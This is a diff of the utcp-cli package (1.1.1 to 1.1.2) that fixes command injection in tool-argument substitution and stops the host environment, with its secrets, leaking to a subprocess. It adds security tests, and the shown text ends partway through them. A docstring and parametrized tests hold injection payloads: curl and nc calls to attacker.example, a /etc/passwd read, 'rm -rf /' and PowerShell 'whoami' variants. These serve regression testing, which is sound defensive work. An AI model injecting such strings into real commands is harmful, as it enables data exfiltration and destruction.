utcp-cli 1.1.1__tar.gz → 1.1.2__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.1
3
+ Version: 1.1.2
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "utcp-cli"
7
- version = "1.1.1"
7
+ version = "1.1.2"
8
8
  authors = [
9
9
  { name = "UTCP Contributors" },
10
10
  ]
@@ -9,15 +9,25 @@ import traceback
9
9
  class CommandStep(BaseModel):
10
10
  """REQUIRED
11
11
  Configuration for a single command step in a CLI execution flow.
12
-
12
+
13
13
  Attributes:
14
14
  command: The command string to execute. Can contain UTCP_ARG_argname_UTCP_END
15
15
  placeholders that will be replaced with values from tool_args. Can also
16
16
  reference previous command outputs using $CMD_0_OUTPUT, $CMD_1_OUTPUT, etc.
17
+
18
+ Placeholder substitution is shell-quoted (`shlex.quote` on Unix,
19
+ PowerShell single-quoted literals on Windows) so that
20
+ `tool_args` values cannot inject extra commands. As a
21
+ consequence, each `UTCP_ARG_..._UTCP_END` placeholder always
22
+ expands to **exactly one shell token**. Tools that previously
23
+ relied on a single placeholder splitting into multiple flags
24
+ (e.g. `UTCP_ARG_flags_UTCP_END` -> `--verbose --debug`) must now
25
+ use one placeholder per intended flag. This change ships with
26
+ utcp-cli 1.1.2 and addresses GHSA-33p6-5jxp-p3x4.
17
27
  append_to_final_output: Whether this command's output should be included
18
28
  in the final result. If not specified, defaults to False for all
19
29
  commands except the last one.
20
-
30
+
21
31
  Examples:
22
32
  Basic command step:
23
33
  ```json
@@ -26,7 +36,7 @@ class CommandStep(BaseModel):
26
36
  "append_to_final_output": true
27
37
  }
28
38
  ```
29
-
39
+
30
40
  Command with argument placeholders and output reference:
31
41
  ```json
32
42
  {
@@ -36,10 +46,15 @@ class CommandStep(BaseModel):
36
46
  ```
37
47
  """
38
48
  command: str = Field(
39
- description="Command string to execute, may contain UTCP_ARG_argname_UTCP_END placeholders"
49
+ description=(
50
+ "Command string to execute, may contain UTCP_ARG_argname_UTCP_END "
51
+ "placeholders. Each placeholder is shell-quoted at substitution "
52
+ "time and therefore expands to exactly one shell token; use one "
53
+ "placeholder per intended argument."
54
+ )
40
55
  )
41
56
  append_to_final_output: Optional[bool] = Field(
42
- default=None,
57
+ default=None,
43
58
  description="Whether to include this command's output in final result. Defaults to False for all except last command"
44
59
  )
45
60
 
@@ -54,26 +69,76 @@ class CliCallTemplate(CallTemplate):
54
69
  **Cross-Platform Script Generation:**
55
70
  - **Windows**: Commands are converted to a PowerShell script
56
71
  - **Unix/Linux/macOS**: Commands are converted to a Bash script
57
-
72
+
58
73
  **Command Syntax Requirements:**
59
74
  - Windows: Use PowerShell syntax (e.g., `Get-ChildItem`, `Set-Location`)
60
75
  - Unix: Use Bash/shell syntax (e.g., `ls`, `cd`)
61
-
76
+
62
77
  **Referencing Previous Command Output:**
63
78
  You can reference the output of previous commands using variables:
64
79
  - **PowerShell**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
65
80
  - **Bash**: `$CMD_0_OUTPUT`, `$CMD_1_OUTPUT`, etc.
66
-
81
+
67
82
  Example: `echo "Previous result: $CMD_0_OUTPUT"`
68
83
 
84
+ **Argument Substitution and Quoting (utcp-cli >= 1.1.2):**
85
+ `UTCP_ARG_argname_UTCP_END` placeholders are replaced with the
86
+ corresponding `tool_args` value, shell-quoted for the target shell
87
+ (`shlex.quote` on Unix, PowerShell single-quoted literal on Windows).
88
+ Each placeholder therefore expands to exactly one shell token. If a
89
+ tool needs multiple flags or arguments, define multiple placeholders
90
+ (one per flag) instead of relying on a single placeholder splitting
91
+ on whitespace. This change closes the command-injection vector
92
+ tracked as GHSA-33p6-5jxp-p3x4.
93
+
94
+ **Subprocess Environment (utcp-cli >= 1.1.2):**
95
+ The CLI subprocess no longer inherits the full host environment.
96
+ Inheritance is controlled by `inherit_env_vars`:
97
+ - Omitted / `null`: a built-in default allowlist of host variables
98
+ is passed through (e.g. `PATH`, `PATHEXT`, `SYSTEMROOT`, `HOME`,
99
+ `LANG`) so shells and binaries can be located normally.
100
+ - `[]`: strict mode — nothing from the host environment is
101
+ inherited; only `env_vars` is propagated.
102
+ - `["FOO", "BAR"]`: exactly those host variables are passed
103
+ through. The default allowlist is NOT merged in, so callers that
104
+ still need `PATH` must list it explicitly.
105
+ `env_vars` is always applied on top and overrides any inherited
106
+ value. Values in `env_vars` may be plain strings or `${VARNAME}`
107
+ style placeholders resolved by the UTCP client's variable
108
+ substitutor (note: those placeholders are resolved against the UTCP
109
+ client's variable sources, not against the host shell — to forward
110
+ a host variable by name use `inherit_env_vars`). This closes the
111
+ secret-exfiltration vector tracked as GHSA-5v57-8rxj-3p2r.
112
+
69
113
  Attributes:
70
114
  call_template_type: The type of the call template. Must be "cli".
71
115
  commands: A list of CommandStep objects defining the commands to execute
72
116
  in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders
73
117
  that will be replaced with values from tool_args during execution.
118
+ Placeholders are shell-quoted and therefore expand to exactly one
119
+ shell token (see class docstring).
74
120
  env_vars: A dictionary of environment variables to set for the command's
75
121
  execution context. Values can be static strings or placeholders for
76
- variables from the UTCP client's variable substitutor.
122
+ variables from the UTCP client's variable substitutor. Always
123
+ propagated; overrides anything inherited from the host.
124
+ inherit_env_vars: Controls which host environment variables are
125
+ passed through to the subprocess.
126
+ - `None` (default): the built-in default allowlist
127
+ (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`,
128
+ `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is
129
+ inherited so shells and binaries work without extra
130
+ configuration.
131
+ - `[]`: strict mode — no host variables are inherited at
132
+ all. Only `env_vars` reaches the subprocess.
133
+ - `["FOO", "BAR"]`: exactly those host variables are
134
+ inherited. The default allowlist is replaced, not
135
+ extended, so include `PATH` (and any other required
136
+ shell vars) yourself if needed.
137
+ Variables named here that are not set on the host are
138
+ silently skipped. Use this to expose specific host secrets
139
+ such as `OPENAI_API_KEY`, `AWS_PROFILE`, `PYTHONPATH`, or
140
+ `NODE_PATH` without putting their values in the call
141
+ template.
77
142
  working_dir: The working directory from which to run the commands. If not
78
143
  provided, it defaults to the current process's working directory.
79
144
  auth: Authentication details. Not applicable to the CLI protocol, so it
@@ -97,7 +162,7 @@ class CliCallTemplate(CallTemplate):
97
162
  ]
98
163
  }
99
164
  ```
100
-
165
+
101
166
  Referencing previous command output:
102
167
  ```json
103
168
  {
@@ -116,7 +181,7 @@ class CliCallTemplate(CallTemplate):
116
181
  }
117
182
  ```
118
183
 
119
- Command with environment variables and placeholders:
184
+ Command with environment variables, host pass-through, and placeholders:
120
185
  ```json
121
186
  {
122
187
  "name": "python_multi_step_tool",
@@ -133,16 +198,19 @@ class CliCallTemplate(CallTemplate):
133
198
  "env_vars": {
134
199
  "PYTHONPATH": "/custom/path",
135
200
  "API_KEY": "${API_KEY_VAR}"
136
- }
201
+ },
202
+ "inherit_env_vars": ["OPENAI_API_KEY", "AWS_PROFILE"]
137
203
  }
138
204
  ```
139
205
 
140
206
  Security Considerations:
141
207
  - Commands are executed in a subprocess. Ensure that the commands
142
208
  specified are from a trusted source.
143
- - Avoid passing unsanitized user input directly into the command string.
144
- Use tool argument validation where possible.
145
- - All placeholders are replaced with string values from tool_args.
209
+ - `tool_args` values are shell-quoted on substitution, but the
210
+ *command template itself* is not — never assemble it from
211
+ untrusted input.
212
+ - The host environment is restricted; secrets are not propagated
213
+ unless explicitly named in `env_vars` or `inherit_env_vars`.
146
214
  - Commands should use the appropriate syntax for the target platform
147
215
  (PowerShell on Windows, Bash on Unix).
148
216
  - Previous command outputs are available as variables but should be
@@ -151,10 +219,30 @@ class CliCallTemplate(CallTemplate):
151
219
 
152
220
  call_template_type: Literal["cli"] = "cli"
153
221
  commands: List[CommandStep] = Field(
154
- description="List of commands to execute in order. Each command can contain UTCP_ARG_argname_UTCP_END placeholders."
222
+ description=(
223
+ "List of commands to execute in order. Each command can contain "
224
+ "UTCP_ARG_argname_UTCP_END placeholders, which are shell-quoted "
225
+ "on substitution and therefore expand to exactly one shell token."
226
+ )
155
227
  )
156
228
  env_vars: Optional[Dict[str, str]] = Field(
157
- default=None, description="Environment variables to set when executing the commands"
229
+ default=None,
230
+ description=(
231
+ "Environment variables to set when executing the commands. Always "
232
+ "propagated to the subprocess and override values inherited from "
233
+ "the host."
234
+ )
235
+ )
236
+ inherit_env_vars: Optional[List[str]] = Field(
237
+ default=None,
238
+ description=(
239
+ "Controls host environment inheritance. None (default) inherits "
240
+ "a built-in safe allowlist (PATH, HOME / PATHEXT, SYSTEMROOT, "
241
+ "etc.). [] disables host inheritance entirely. A list of names "
242
+ "replaces the default allowlist with exactly those variables, so "
243
+ "include PATH explicitly if your tool needs it. Names not set on "
244
+ "the host are skipped silently."
245
+ )
158
246
  )
159
247
  working_dir: Optional[str] = Field(
160
248
  default=None, description="Working directory for command execution"
@@ -61,22 +61,89 @@ class CliCommunicationProtocol(CommunicationProtocol):
61
61
  """Log error messages."""
62
62
  logger.error(f"[CliCommunicationProtocol Error] {message}")
63
63
 
64
+ # Default set of host environment variables propagated to the CLI
65
+ # subprocess when `CliCallTemplate.inherit_env_vars` is not provided
66
+ # (i.e. None). Locating binaries (`PATH` / `PATHEXT`), basic shell +
67
+ # locale state, and Windows runtime paths are needed for almost any
68
+ # tool to start. Anything else (cloud creds, API keys, internal
69
+ # tokens) must be opted in by listing the variable name explicitly in
70
+ # `inherit_env_vars`, or its value provided in `env_vars`.
71
+ #
72
+ # If `inherit_env_vars == []`, the caller is opting into strict mode
73
+ # and NOTHING is inherited from the host — only `env_vars` reaches the
74
+ # subprocess.
75
+ #
76
+ # Backs GHSA-5v57-8rxj-3p2r: the previous implementation handed
77
+ # `os.environ.copy()` to the subprocess, which combined with the
78
+ # command injection in `_substitute_utcp_args`
79
+ # (GHSA-33p6-5jxp-p3x4) let an attacker exfiltrate every secret in
80
+ # the host process.
81
+ _DEFAULT_INHERITED_KEYS_UNIX: tuple = (
82
+ "PATH", "HOME", "LANG", "LC_ALL", "LC_CTYPE", "USER", "LOGNAME",
83
+ "SHELL", "TZ", "TERM",
84
+ )
85
+ _DEFAULT_INHERITED_KEYS_WINDOWS: tuple = (
86
+ "PATH", "PATHEXT", "SYSTEMROOT", "SYSTEMDRIVE", "WINDIR", "COMSPEC",
87
+ "TEMP", "TMP", "USERPROFILE", "USERNAME", "USERDOMAIN", "COMPUTERNAME",
88
+ "HOMEDRIVE", "HOMEPATH", "APPDATA", "LOCALAPPDATA", "PROGRAMDATA",
89
+ "PROGRAMFILES", "PROGRAMFILES(X86)", "PROGRAMW6432", "OS",
90
+ "PROCESSOR_ARCHITECTURE", "NUMBER_OF_PROCESSORS",
91
+ )
92
+
93
+ @classmethod
94
+ def _default_inherited_keys(cls) -> tuple:
95
+ """Return the platform-appropriate default inheritance list."""
96
+ if os.name == 'nt':
97
+ return cls._DEFAULT_INHERITED_KEYS_WINDOWS
98
+ return cls._DEFAULT_INHERITED_KEYS_UNIX
99
+
64
100
  def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]:
65
101
  """Prepare environment variables for command execution.
66
-
102
+
103
+ Composes the subprocess environment with one layer of host
104
+ inheritance (controlled by `provider.inherit_env_vars`) plus
105
+ `provider.env_vars` on top:
106
+
107
+ - `inherit_env_vars is None` (default): pass through the
108
+ built-in default allowlist of host vars (PATH, HOME / PATHEXT,
109
+ SYSTEMROOT, etc.) so normal shells and binaries work without
110
+ extra wiring.
111
+ - `inherit_env_vars == []`: strict mode. Nothing from the host
112
+ environment reaches the subprocess — only `env_vars`.
113
+ - `inherit_env_vars == [...]`: pass through exactly the named
114
+ host variables. The default allowlist is NOT merged in, so
115
+ callers who still want PATH must include it explicitly.
116
+
117
+ `env_vars` is always applied last and overrides anything inherited
118
+ from the host.
119
+
120
+ This prevents the unrestricted host environment from leaking into
121
+ a subprocess that may be running attacker-controlled commands
122
+ (GHSA-5v57-8rxj-3p2r).
123
+
67
124
  Args:
68
125
  provider: The CLI provider
69
-
126
+
70
127
  Returns:
71
128
  Environment variables dictionary
72
129
  """
73
- import os
74
- env = os.environ.copy()
75
-
76
- # Add custom environment variables if provided
130
+ if provider.inherit_env_vars is None:
131
+ inherited_keys: tuple = self._default_inherited_keys()
132
+ else:
133
+ inherited_keys = tuple(provider.inherit_env_vars)
134
+
135
+ env: Dict[str, str] = {}
136
+ for key in inherited_keys:
137
+ value = os.environ.get(key)
138
+ if value is not None:
139
+ env[key] = value
140
+
141
+ # Caller-supplied variables override anything inherited from the
142
+ # host. Unset host vars in `inherited_keys` are skipped silently
143
+ # so missing optionals don't break tool execution.
77
144
  if provider.env_vars:
78
145
  env.update(provider.env_vars)
79
-
146
+
80
147
  return env
81
148
 
82
149
  async def _execute_command(
@@ -255,27 +322,55 @@ class CliCommunicationProtocol(CommunicationProtocol):
255
322
  f"Deregistering CLI manual '{manual_call_template.name}' (no-op)"
256
323
  )
257
324
 
325
+ @staticmethod
326
+ def _shell_quote(value: str) -> str:
327
+ """Quote a single value so it is interpreted as one literal token by
328
+ the target shell (`bash` on Unix, `powershell.exe` on Windows).
329
+
330
+ On Unix we delegate to `shlex.quote`. On Windows we wrap the value in
331
+ a PowerShell single-quoted literal: inside such a literal everything
332
+ is taken verbatim except `'` itself, which is escaped by doubling
333
+ (`''`). This blocks the metacharacters PowerShell would otherwise
334
+ interpret (`;`, `&`, `|`, `` ` ``, `$`, `(`, `)`, `<`, `>`, line
335
+ breaks).
336
+
337
+ Backs GHSA-33p6-5jxp-p3x4: the previous substitution did
338
+ `str(tool_args[arg_name])` directly into the shell script, which
339
+ allowed arbitrary command injection (e.g.
340
+ `"data.csv; curl http://attacker.example/$(cat /etc/passwd)"`).
341
+ """
342
+ if os.name == 'nt':
343
+ return "'" + value.replace("'", "''") + "'"
344
+ return shlex.quote(value)
345
+
258
346
  def _substitute_utcp_args(self, command: str, tool_args: Dict[str, Any]) -> str:
259
347
  """Substitute UTCP_ARG placeholders in command string with tool arguments.
260
-
348
+
349
+ Each substituted value is shell-quoted for the target shell so that
350
+ attacker-controlled `tool_args` cannot escape the placeholder and
351
+ inject extra commands. As a side effect, a placeholder always
352
+ expands to exactly one shell token: callers that need to pass
353
+ multiple flags / arguments must use multiple placeholders rather
354
+ than splitting a single string at runtime.
355
+
261
356
  Args:
262
357
  command: Command string containing UTCP_ARG_argname_UTCP_END placeholders
263
358
  tool_args: Dictionary of argument names and values
264
-
359
+
265
360
  Returns:
266
- Command string with placeholders replaced by actual values
361
+ Command string with placeholders replaced by shell-quoted values
267
362
  """
268
363
  # Pattern to match UTCP_ARG_argname_UTCP_END
269
364
  pattern = r'UTCP_ARG_(.+?)_UTCP_END'
270
-
365
+
271
366
  def replace_placeholder(match):
272
367
  arg_name = match.group(1)
273
368
  if arg_name in tool_args:
274
- return str(tool_args[arg_name])
369
+ return self._shell_quote(str(tool_args[arg_name]))
275
370
  else:
276
371
  self._log_error(f"Missing argument '{arg_name}' for placeholder in command: {command}")
277
- return f"MISSING_ARG_{arg_name}"
278
-
372
+ return self._shell_quote(f"MISSING_ARG_{arg_name}")
373
+
279
374
  return re.sub(pattern, replace_placeholder, command)
280
375
 
281
376
  def _build_combined_shell_script(self, commands: List[CommandStep], tool_args: Dict[str, Any]) -> str:
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: utcp-cli
3
- Version: 1.1.1
3
+ Version: 1.1.2
4
4
  Summary: UTCP communication protocol plugin for wrapping local command-line tools.
5
5
  Author: UTCP Contributors
6
6
  License-Expression: MPL-2.0
@@ -9,4 +9,5 @@ src/utcp_cli.egg-info/dependency_links.txt
9
9
  src/utcp_cli.egg-info/entry_points.txt
10
10
  src/utcp_cli.egg-info/requires.txt
11
11
  src/utcp_cli.egg-info/top_level.txt
12
- tests/test_cli_communication_protocol.py
12
+ tests/test_cli_communication_protocol.py
13
+ tests/test_security.py
@@ -0,0 +1,420 @@
1
+ """Security tests for the CLI communication protocol.
2
+
3
+ Pin the fixes for:
4
+
5
+ - GHSA-33p6-5jxp-p3x4 (CWE-78, command injection via unsanitized
6
+ `tool_args` interpolation in `_substitute_utcp_args`).
7
+ - GHSA-5v57-8rxj-3p2r (CWE-526, full host environment leaked to the
8
+ CLI subprocess via `_prepare_environment`).
9
+
10
+ Each behavior is locked in here so a regression that re-introduces the
11
+ historical bypass fails this file rather than silently shipping.
12
+ """
13
+ import os
14
+ import shlex
15
+ import sys
16
+ import tempfile
17
+
18
+ import pytest
19
+ import pytest_asyncio
20
+
21
+ from utcp_cli.cli_communication_protocol import CliCommunicationProtocol
22
+ from utcp_cli.cli_call_template import CliCallTemplate
23
+
24
+
25
+ @pytest_asyncio.fixture
26
+ async def transport() -> CliCommunicationProtocol:
27
+ yield CliCommunicationProtocol()
28
+
29
+
30
+ # ---------------------------------------------------------------------------
31
+ # GHSA-33p6-5jxp-p3x4 — _substitute_utcp_args must shell-quote substituted
32
+ # values so attacker-controlled tool_args can't escape into the script.
33
+ # ---------------------------------------------------------------------------
34
+
35
+ class TestArgSubstitutionQuoting:
36
+ @pytest.mark.parametrize(
37
+ "value",
38
+ [
39
+ "data.csv; curl http://attacker.example",
40
+ "data.csv && rm -rf /",
41
+ "data.csv | nc attacker.example 9999",
42
+ "data.csv `id`",
43
+ "data.csv $(id)",
44
+ 'data.csv"; echo pwned; "',
45
+ "data.csv\nrm -rf /",
46
+ "value with spaces",
47
+ "value'with'quote",
48
+ ],
49
+ )
50
+ def test_shell_metacharacters_are_quoted(self, transport, value):
51
+ substituted = transport._substitute_utcp_args(
52
+ "echo UTCP_ARG_x_UTCP_END", {"x": value}
53
+ )
54
+ # The placeholder must be gone.
55
+ assert "UTCP_ARG_x_UTCP_END" not in substituted
56
+ # The original value must still be present (just quoted), so the
57
+ # tool actually sees it.
58
+ # On Unix shlex.quote may fully wrap in single quotes; on Windows we
59
+ # wrap in single quotes and double internal `'`. Either way the
60
+ # underlying characters appear somewhere in the substituted string.
61
+ assert any(part in substituted for part in value.split("'"))
62
+
63
+ def test_unix_quoting_uses_shlex(self, transport, monkeypatch):
64
+ monkeypatch.setattr(os, "name", "posix")
65
+ out = transport._substitute_utcp_args(
66
+ "run UTCP_ARG_x_UTCP_END", {"x": "a; rm -rf /"}
67
+ )
68
+ # shlex.quote wraps anything containing shell metas in single quotes.
69
+ assert out == f"run {shlex.quote('a; rm -rf /')}"
70
+ assert "; rm -rf /" not in out.replace(shlex.quote("a; rm -rf /"), "")
71
+
72
+ def test_windows_quoting_doubles_single_quote(self, transport, monkeypatch):
73
+ monkeypatch.setattr(os, "name", "nt")
74
+ out = transport._substitute_utcp_args(
75
+ "Get-Item UTCP_ARG_x_UTCP_END",
76
+ {"x": "C:\\Users\\bob's file.txt; whoami"},
77
+ )
78
+ # PowerShell single-quoted literal; embedded ' becomes ''.
79
+ assert out == "Get-Item 'C:\\Users\\bob''s file.txt; whoami'"
80
+
81
+ def test_windows_quoting_blocks_powershell_metacharacters(self, transport, monkeypatch):
82
+ monkeypatch.setattr(os, "name", "nt")
83
+ for payload in [
84
+ "x; whoami",
85
+ "x | whoami",
86
+ "x & whoami",
87
+ "x`whoami`",
88
+ "x$(whoami)",
89
+ "x\nwhoami",
90
+ ]:
91
+ out = transport._substitute_utcp_args(
92
+ "Get-Item UTCP_ARG_x_UTCP_END", {"x": payload}
93
+ )
94
+ # The whole payload must be wrapped as a single-quoted literal.
95
+ assert out.startswith("Get-Item '")
96
+ assert out.endswith("'")
97
+ # No unescaped single quote should appear in the middle.
98
+ inner = out[len("Get-Item '"):-1]
99
+ assert "'" not in inner.replace("''", "")
100
+
101
+ def test_missing_arg_placeholder_is_also_quoted(self, transport, monkeypatch):
102
+ # The fallback path used to return a bare `MISSING_ARG_<name>` token,
103
+ # which broke the invariant that every substitution is one shell
104
+ # token. Quote it for defense in depth.
105
+ monkeypatch.setattr(os, "name", "posix")
106
+ out = transport._substitute_utcp_args(
107
+ "echo UTCP_ARG_missing_UTCP_END", {}
108
+ )
109
+ assert "UTCP_ARG_missing_UTCP_END" not in out
110
+ # Either the literal token, or its shlex.quote'd form (alphanum +
111
+ # underscores normally don't need quoting):
112
+ assert "MISSING_ARG_missing" in out
113
+
114
+
115
+ # ---------------------------------------------------------------------------
116
+ # GHSA-5v57-8rxj-3p2r — _prepare_environment must NOT leak the full host
117
+ # environment into the CLI subprocess.
118
+ # ---------------------------------------------------------------------------
119
+
120
+ class TestPreparedEnvironmentDoesNotLeakSecrets:
121
+ SECRET_KEYS = [
122
+ "OPENAI_API_KEY",
123
+ "ANTHROPIC_API_KEY",
124
+ "AWS_SECRET_ACCESS_KEY",
125
+ "AWS_ACCESS_KEY_ID",
126
+ "AZURE_CLIENT_SECRET",
127
+ "GITHUB_TOKEN",
128
+ "DATABASE_URL",
129
+ "SLACK_TOKEN",
130
+ ]
131
+
132
+ def test_secrets_in_host_env_do_not_propagate(self, transport, monkeypatch):
133
+ for k in self.SECRET_KEYS:
134
+ monkeypatch.setenv(k, f"super-secret-{k}")
135
+ provider = CliCallTemplate(commands=[{"command": "echo hi"}])
136
+ env = transport._prepare_environment(provider)
137
+ for k in self.SECRET_KEYS:
138
+ assert k not in env, (
139
+ f"{k} leaked from host environment into CLI subprocess "
140
+ "(GHSA-5v57-8rxj-3p2r). Only the safe-keys allowlist plus "
141
+ "provider.env_vars should propagate."
142
+ )
143
+
144
+ def test_explicit_env_vars_are_preserved(self, transport, monkeypatch):
145
+ # Caller can still inject extra env explicitly via env_vars, even
146
+ # for keys that are otherwise blocked.
147
+ monkeypatch.setenv("OPENAI_API_KEY", "host-value")
148
+ provider = CliCallTemplate(
149
+ commands=[{"command": "echo hi"}],
150
+ env_vars={"OPENAI_API_KEY": "explicit-value", "MY_FLAG": "1"},
151
+ )
152
+ env = transport._prepare_environment(provider)
153
+ assert env["OPENAI_API_KEY"] == "explicit-value"
154
+ assert env["MY_FLAG"] == "1"
155
+
156
+ def test_essentials_are_preserved(self, transport, monkeypatch):
157
+ # PATH must propagate or no binary can be located.
158
+ monkeypatch.setenv("PATH", "/usr/local/bin:/usr/bin:/bin")
159
+ provider = CliCallTemplate(commands=[{"command": "echo hi"}])
160
+ env = transport._prepare_environment(provider)
161
+ assert "PATH" in env
162
+
163
+ def test_env_vars_override_safe_defaults(self, transport, monkeypatch):
164
+ monkeypatch.setenv("PATH", "/usr/bin")
165
+ provider = CliCallTemplate(
166
+ commands=[{"command": "echo hi"}],
167
+ env_vars={"PATH": "/custom/bin"},
168
+ )
169
+ env = transport._prepare_environment(provider)
170
+ assert env["PATH"] == "/custom/bin"
171
+
172
+ def test_inherit_env_vars_passes_named_host_secrets(self, transport, monkeypatch):
173
+ # Caller can opt specific host secrets into the subprocess by name
174
+ # without copying their values into the call template.
175
+ monkeypatch.setenv("OPENAI_API_KEY", "sk-from-host")
176
+ monkeypatch.setenv("AWS_PROFILE", "prod")
177
+ # NOT requested:
178
+ monkeypatch.setenv("DATABASE_URL", "postgres://...")
179
+
180
+ provider = CliCallTemplate(
181
+ commands=[{"command": "echo hi"}],
182
+ inherit_env_vars=["OPENAI_API_KEY", "AWS_PROFILE"],
183
+ )
184
+ env = transport._prepare_environment(provider)
185
+ assert env["OPENAI_API_KEY"] == "sk-from-host"
186
+ assert env["AWS_PROFILE"] == "prod"
187
+ assert "DATABASE_URL" not in env
188
+
189
+ def test_inherit_env_vars_skips_unset(self, transport, monkeypatch):
190
+ monkeypatch.delenv("THIS_DOES_NOT_EXIST", raising=False)
191
+ provider = CliCallTemplate(
192
+ commands=[{"command": "echo hi"}],
193
+ inherit_env_vars=["THIS_DOES_NOT_EXIST"],
194
+ )
195
+ env = transport._prepare_environment(provider)
196
+ assert "THIS_DOES_NOT_EXIST" not in env
197
+
198
+ def test_env_vars_override_inherit_env_vars(self, transport, monkeypatch):
199
+ monkeypatch.setenv("OPENAI_API_KEY", "host-value")
200
+ provider = CliCallTemplate(
201
+ commands=[{"command": "echo hi"}],
202
+ inherit_env_vars=["OPENAI_API_KEY"],
203
+ env_vars={"OPENAI_API_KEY": "explicit-override"},
204
+ )
205
+ env = transport._prepare_environment(provider)
206
+ assert env["OPENAI_API_KEY"] == "explicit-override"
207
+
208
+ def test_inherit_env_vars_empty_list_is_strict_mode(self, transport, monkeypatch):
209
+ # `inherit_env_vars=[]` means: nothing from host. Even PATH must
210
+ # not leak through.
211
+ monkeypatch.setenv("PATH", "/usr/bin")
212
+ monkeypatch.setenv("HOME", "/home/x")
213
+ monkeypatch.setenv("OPENAI_API_KEY", "secret")
214
+
215
+ provider = CliCallTemplate(
216
+ commands=[{"command": "echo hi"}],
217
+ inherit_env_vars=[],
218
+ )
219
+ env = transport._prepare_environment(provider)
220
+ assert env == {}
221
+
222
+ def test_inherit_env_vars_empty_list_with_env_vars(self, transport, monkeypatch):
223
+ monkeypatch.setenv("PATH", "/usr/bin")
224
+ provider = CliCallTemplate(
225
+ commands=[{"command": "echo hi"}],
226
+ inherit_env_vars=[],
227
+ env_vars={"FOO": "bar"},
228
+ )
229
+ env = transport._prepare_environment(provider)
230
+ # Only env_vars; default allowlist is bypassed.
231
+ assert env == {"FOO": "bar"}
232
+
233
+ def test_inherit_env_vars_list_replaces_default_allowlist(self, transport, monkeypatch):
234
+ # When the caller supplies a list, the default allowlist is NOT
235
+ # merged in. They get exactly the names they asked for.
236
+ monkeypatch.setenv("PATH", "/usr/bin")
237
+ monkeypatch.setenv("HOME", "/home/x")
238
+ monkeypatch.setenv("OPENAI_API_KEY", "secret")
239
+
240
+ provider = CliCallTemplate(
241
+ commands=[{"command": "echo hi"}],
242
+ inherit_env_vars=["OPENAI_API_KEY"],
243
+ )
244
+ env = transport._prepare_environment(provider)
245
+ assert env == {"OPENAI_API_KEY": "secret"}
246
+
247
+ def test_default_inherit_env_vars_includes_path_and_home(self, transport, monkeypatch):
248
+ # `inherit_env_vars=None` (omitted) → default allowlist. PATH and
249
+ # at least one platform-specific home directory variable should
250
+ # be inherited so shells/binaries work.
251
+ monkeypatch.setenv("PATH", "/usr/bin")
252
+ if os.name == "nt":
253
+ monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
254
+ home_key = "USERPROFILE"
255
+ else:
256
+ monkeypatch.setenv("HOME", "/home/x")
257
+ home_key = "HOME"
258
+
259
+ provider = CliCallTemplate(commands=[{"command": "echo hi"}])
260
+ env = transport._prepare_environment(provider)
261
+ assert env["PATH"] == "/usr/bin"
262
+ assert home_key in env
263
+
264
+ def test_default_inherit_env_vars_does_not_include_secrets(self, transport, monkeypatch):
265
+ for k in self.SECRET_KEYS:
266
+ monkeypatch.setenv(k, f"super-secret-{k}")
267
+ provider = CliCallTemplate(commands=[{"command": "echo hi"}])
268
+ env = transport._prepare_environment(provider)
269
+ for k in self.SECRET_KEYS:
270
+ assert k not in env
271
+
272
+ def test_explicit_none_matches_default(self, transport, monkeypatch):
273
+ # Constructing with `inherit_env_vars=None` must produce the same
274
+ # environment as omitting the field entirely — the
275
+ # default-allowlist branch is keyed on `is None`, so don't let a
276
+ # subtle change (e.g. switching the default to `[]`) silently
277
+ # flip behavior.
278
+ monkeypatch.setenv("PATH", "/usr/bin")
279
+ monkeypatch.setenv("OPENAI_API_KEY", "secret")
280
+
281
+ omitted = CliCallTemplate(commands=[{"command": "echo hi"}])
282
+ explicit_none = CliCallTemplate(
283
+ commands=[{"command": "echo hi"}],
284
+ inherit_env_vars=None,
285
+ )
286
+ assert (
287
+ transport._prepare_environment(omitted)
288
+ == transport._prepare_environment(explicit_none)
289
+ )
290
+ assert "PATH" in transport._prepare_environment(explicit_none)
291
+ assert "OPENAI_API_KEY" not in transport._prepare_environment(explicit_none)
292
+
293
+ def test_list_replaces_default_does_not_pull_in_other_defaults(
294
+ self, transport, monkeypatch
295
+ ):
296
+ # Listing only PATH must not drag the rest of the default
297
+ # allowlist along (HOME / USERPROFILE / LANG / etc.).
298
+ monkeypatch.setenv("PATH", "/usr/bin")
299
+ monkeypatch.setenv("HOME", "/home/x")
300
+ monkeypatch.setenv("USERPROFILE", "C:\\Users\\x")
301
+ monkeypatch.setenv("LANG", "en_US.UTF-8")
302
+
303
+ provider = CliCallTemplate(
304
+ commands=[{"command": "echo hi"}],
305
+ inherit_env_vars=["PATH"],
306
+ )
307
+ env = transport._prepare_environment(provider)
308
+ assert env == {"PATH": "/usr/bin"}
309
+
310
+ def test_duplicate_names_in_inherit_env_vars_are_idempotent(
311
+ self, transport, monkeypatch
312
+ ):
313
+ monkeypatch.setenv("FOO", "1")
314
+ provider = CliCallTemplate(
315
+ commands=[{"command": "echo hi"}],
316
+ inherit_env_vars=["FOO", "FOO", "FOO"],
317
+ )
318
+ env = transport._prepare_environment(provider)
319
+ assert env == {"FOO": "1"}
320
+
321
+ def test_unset_names_in_default_allowlist_are_skipped(
322
+ self, transport, monkeypatch
323
+ ):
324
+ # If a key in the default allowlist is not set on the host, the
325
+ # resulting env dict must simply omit it (not include `None` /
326
+ # empty string / raise).
327
+ for key in transport._default_inherited_keys():
328
+ monkeypatch.delenv(key, raising=False)
329
+ # Add just one so the dict isn't empty.
330
+ monkeypatch.setenv("PATH", "/usr/bin")
331
+
332
+ provider = CliCallTemplate(commands=[{"command": "echo hi"}])
333
+ env = transport._prepare_environment(provider)
334
